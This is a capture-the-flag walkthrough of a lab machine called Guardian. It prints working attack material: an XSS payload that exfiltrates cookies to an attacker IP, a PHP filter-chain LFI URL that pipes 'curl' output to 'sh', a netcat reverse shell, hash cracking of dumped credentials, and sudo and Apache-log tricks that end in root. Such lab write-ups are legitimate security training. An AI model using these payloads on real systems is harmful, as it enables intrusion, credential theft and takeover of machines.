Guardian
Recon
Port Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -PN -sC -sV 10.129.183.51
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 13:35 PKT
Nmap scan report for 10.129.183.51
Host is up (0.38s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.73 seconds
Let’s add it to /etc/hosts and interact with the exposed web.
Web Enumeration
We also have a student portal at portal.guardian.htb
Visiting it we are prompted to check out the Portal Guide:
The guide contains a default password:
GU1234
We can’t just bruteforce usernames since it has a specific format GUXXXXX. Going back to the home page we have student testimonials.
- GU0142023
- GU6262023
- GU0702025
Looks like one of the students forgot to change their password: GU0142023:GU1234
Chat
Something particularly of interest is the chat.
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14
The user at 0th index is us, and the 1st index is for other user in chat with us.
Manipulating the values we get:
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2
This is an IDOR and it exposes:
IDOR with Chat
1
Here is your password for gitea: DHsNnk3V503
jamil.enockson:DHsNnk3V503
Let’s check out gitea. Add gitea.guardian.htb/ to /etc/hosts.
gitea
jamil.enockson@guardian.htb:DHsNnk3V503 are the valid creds.
From the config directory in portal repo:
MySQL Creds
1
2
3
4
5
6
7
8
9
10
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
Vendors
Another directory of interest is the http://gitea.guardian.htb/Guardian/portal.guardian.htb/src/branch/main/vendor, we can see Phpoffice in there. This is definitely for students assignment submission. After all .docx and .xlsx are the supported formats. Let’s look up on Phpoffice vulnerabilities. There are too many vulnerabilities just looking at their Security section: https://github.com/PHPOffice/PhpSpreadsheet/security
We will do the same. Since Libre Office Calc doesn’t allow special characters we will do it the hard way. Create a worksheet with 2 sheets and extract em:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unzip malicious.xlsx -d extracted_xlsx
Archive: malicious.xlsx
inflating: extracted_xlsx/xl/_rels/workbook.xml.rels
inflating: extracted_xlsx/xl/workbook.xml
inflating: extracted_xlsx/xl/theme/theme1.xml
inflating: extracted_xlsx/xl/styles.xml
inflating: extracted_xlsx/xl/worksheets/sheet1.xml
inflating: extracted_xlsx/xl/worksheets/sheet2.xml
inflating: extracted_xlsx/_rels/.rels
inflating: extracted_xlsx/docProps/core.xml
inflating: extracted_xlsx/docProps/app.xml
inflating: extracted_xlsx/[Content_Types].xml
┌──(kali㉿vm-kali)-[~/htb/guardian]
└─$ ls -la
total 20
drwxrwxr-x 3 kali kali 4096 Aug 31 14:38 .
drwxrwxr-x 43 kali kali 4096 Aug 31 13:34 ..
drwxrwxr-x 5 kali kali 4096 Aug 31 14:38 extracted_xlsx
-rw-rw-r-- 1 kali kali 6100 Aug 31 14:38 malicious.xlsx
┌──(kali㉿vm-kali)-[~/htb/guardian/extracted_xlsx/xl]
└─$ cat workbook.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="Calc"/><workbookPr backupFile="false" showObjects="all" date1904="false"/><workbookProtection/><bookViews><workbookView showHorizontalScroll="true" showVerticalScroll="true" showSheetTabs="true" xWindow="0" yWindow="0" windowWidth="16384" windowHeight="8192" tabRatio="500" firstSheet="0" activeTab="1"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" state="visible" r:id="rId3"/><sheet name="Sheet2" sheetId="2" state="visible" r:id="rId4"/></sheets><calcPr iterateCount="100" refMode="A1" iterate="false" iterateDelta="0.001"/><extLst><ext xmlns:loext="http://schemas.libreoffice.org/" uri="{7626C862-2A13-11E5-B345-FEFF819CDC9F}"><loext:extCalcPr stringRefSyntax="CalcA1"/></ext></extLst></workbook>
We will have to entity-encode our payload:
"><img src=x onerror="window.location='http://10.10.16.40/?c='+document.cookie">
To:
"><img src=x onerror="window.location='http://10.10.16.40/?c='+document.cookie">
After replacing the sheet name we zip it again, be sure to do it at root of extracted archive:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿vm-kali)-[~/htb/guardian/extracted_xlsx]
└─$ zip -r ../final.xlsx * -x "*.DS_Store"
adding: [Content_Types].xml (deflated 76%)
adding: docProps/ (stored 0%)
adding: docProps/core.xml (deflated 52%)
adding: docProps/app.xml (deflated 39%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (deflated 61%)
adding: xl/ (stored 0%)
adding: xl/styles.xml (deflated 86%)
adding: xl/workbook.xml (deflated 44%)
adding: xl/_rels/ (stored 0%)
adding: xl/_rels/workbook.xml.rels (deflated 69%)
adding: xl/theme/ (stored 0%)
adding: xl/theme/theme1.xml (deflated 76%)
adding: xl/worksheets/ (stored 0%)
adding: xl/worksheets/sheet2.xml (deflated 56%)
adding: xl/worksheets/sheet1.xml (deflated 57%)
Run a listener and upload it.
Foothold
We have a callback:
1
2
3
4
5
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.183.51 - - [31/Aug/2025 14:47:13] "GET /?c=PHPSESSID=ccc97v1tgarufmpccoo4dtgaj9 HTTP/1.1" 200 -
10.129.183.51 - - [31/Aug/2025 14:47:13] code 404, message File not found
10.129.183.51 - - [31/Aug/2025 14:47:13] "GET /favicon.ico HTTP/1.1" 404 -
Let’s check who this is: ccc97v1tgarufmpccoo4dtgaj9
We are now sammy.treat
Notices
At the time of enumerating gitea I also saw how noticeboard functionality worked. It required an admin to view and either approve or decline it. Also in Create Notice it is mentioned that admin will view the link. We can confirm that by:
1
2
3
10.129.183.51 - - [31/Aug/2025 14:54:31] "GET / HTTP/1.1" 200 -
10.129.183.51 - - [31/Aug/2025 14:54:32] code 404, message File not found
10.129.183.51 - - [31/Aug/2025 14:54:32] "GET /favicon.ico HTTP/1.1" 404 -
We will use PHP Chain Generator.
1
2
3
4
5
6
7
8
9
10
11
12
python3 php_filter_chain_generator.py -h
usage: php_filter_chain_generator.py [-h] [--chain CHAIN] [--rawbase64 RAWBASE64]
PHP filter chain generator.
options:
-h, --help show this help message and exit
--chain CHAIN Content you want to generate. (you will maybe need to pad with
spaces for your payload to work)
--rawbase64 RAWBASE64
The base64 value you want to test, the chain will be printed as
base64 by PHP, useful to debug.
We get this:
1
2
python3 php_filter_chain_generator.py --chain '<?=system($_GET[0])?>'
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://tempacademic.php&0=curl+10.10.16.40/x|sh
LFI
A few modifications has to be done and it is already done on the payload. Where do the modifications came from? There’s another vulnerability LFI to be exact. It can be investigated from gitea:
http://gitea.guardian.htb/Guardian/portal.guardian.htb/src/branch/main/admin/reports.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
Allows any string that ends in one of the whitelisted keywords + .php. That’s why our modification ends with academic.php.
Be sure to also create a file named x:
1
2
cat x
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.40 1234 >/tmp/f
Then submit:
1
http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://tempacademic.php&0=curl+10.10.16.40/x|sh
Shell as www-data
1
10.129.237.248 - - [31/Aug/2025 16:15:21] "GET /x HTTP/1.1" 200 -
1
2
3
4
5
6
7
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.40] from (UNKNOWN) [10.129.237.248] 44190
sh: 0: can't access tty; job control turned off
$ whoami
www-data
python3 -c "import pty; pty.spawn('/bin/bash');"
Since we already have MySQL Creds we will start there:
1
2
3
www-data@guardian:~/portal.guardian.htb/admin$ mysql -u root -p
mysql -u root -p
Enter password: Gu4rd14n_un1_1s_th3_b3st
MySQL
Getting data of all the users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select username,password_hash FROM users;
+--------------------+------------------------------------------------------------------+
| username | password_hash |
+--------------------+------------------------------------------------------------------+
| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
The users that we care about:
1
2
www-data@guardian:~/portal.guardian.htb/admin$ ls /home/
gitea jamil mark sammy
We already had the salt from the config on gitea, use them with hashcat:
1
2
3
./hashcat.exe -m 1410 -a 0 .\hash_\hash.txt .\hash_\rockyou.txt
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000
jamil:copperhouse56 admin:fakebake000
SSH as jamil
We can SSH as jamil.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ssh jamil@guardian.htb
jamil@guardian.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Aug 31 12:04:39 PM UTC 2025
System load: 0.0 Processes: 243
Usage of /: 73.3% of 8.12GB Users logged in: 0
Memory usage: 28% IPv4 address for eth0: 10.129.237.248
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
8 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Aug 31 12:04:40 2025 from 10.10.16.40
jamil@guardian:~$
Privilege Escalation
sudo -l
1
2
3
4
5
6
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
jamil is allowed to run /opt/scripts/utilities/utilities.py as mark, without needing a password.
1
2
3
4
5
6
7
jamil@guardian:~$ ls -la /opt/scripts/utilities/
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 .
drwxr-xr-x 3 root root 4096 Jul 12 15:10 ..
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py
drwxrwsr-x 2 root root 4096 Jul 10 14:20 utils
utilities.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()
We will check the utils module as well:
1
2
3
4
5
6
7
8
jamil@guardian:/opt/scripts/utilities$ ls -la utils/
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 09:45 status.py
Jamil is also in admins
1
2
jamil@guardian:/opt/scripts/utilities$ groups
jamil admins
We have write permissions on status.py:
1
2
3
4
5
6
7
8
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
We will modify and append:
1
os.system("/bin/bash")
Run it:
Shell as mark
1
2
3
4
5
jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 0.0 %
Memory usage: 33.1 %
mark@guardian:/opt/scripts/utilities/utils$
We are now mark. Checking mark’s home directory:
1
2
3
4
5
6
7
8
9
10
11
mark@guardian:/opt/scripts/utilities/utils$ ls -la ~
total 28
drwxr-x--- 4 mark mark 4096 Jul 14 16:57 .
drwxr-xr-x 6 root root 4096 Jul 30 14:59 ..
lrwxrwxrwx 1 root root 9 Jul 14 16:57 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Apr 18 10:11 .bash_logout
-rw-r--r-- 1 mark mark 3805 Apr 19 07:52 .bashrc
drwx------ 2 mark mark 4096 Apr 26 09:42 .cache
drwxrwxr-x 2 mark mark 4096 Jul 13 09:24 confs
lrwxrwxrwx 1 root root 9 Apr 19 07:35 .mysql_history -> /dev/null
-rw-r--r-- 1 mark mark 807 Apr 18 10:11 .profile
sudo -l
1
2
3
4
5
6
mark@guardian:/opt/scripts/utilities/utils$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
Usage:
1
2
mark@guardian:/opt/scripts/utilities/utils$ sudo /usr/local/bin/safeapache2ctl -h
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
file.conf
We can all the modules under: ls -la /usr/lib/apache2/modules/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# ===== Load necessary modules =====
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
LoadModule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
LoadModule authz_host_module /usr/lib/apache2/modules/mod_authz_host.so
LoadModule mime_module /usr/lib/apache2/modules/mod_mime.so
LoadModule include_module /usr/lib/apache2/modules/mod_include.so
# ===== Core settings =====
ServerRoot /tmp
Listen 1337
ServerName localhost
# ===== VirtualHost =====
<VirtualHost *:1337>
ServerName localhost
DocumentRoot /tmp
<Directory "/tmp">
Options +Includes +Indexes
Require all granted
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
</Directory>
# Pipe error log to logger to bypass /tmp/logs requirement
ErrorLog "|/usr/bin/logger -t apache_error"
# Pipe CustomLog to chmod to create SUID bash
CustomLog "|/usr/bin/chmod u+s /usr/bin/bash" common
</VirtualHost>
We run it:
1
2
3
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
Action '-f /home/mark/confs/file.conf' failed.
The Apache error log may have more information.
Shell as root
1
2
3
mark@guardian:~$ bash -p
bash-5.1# whoami
root






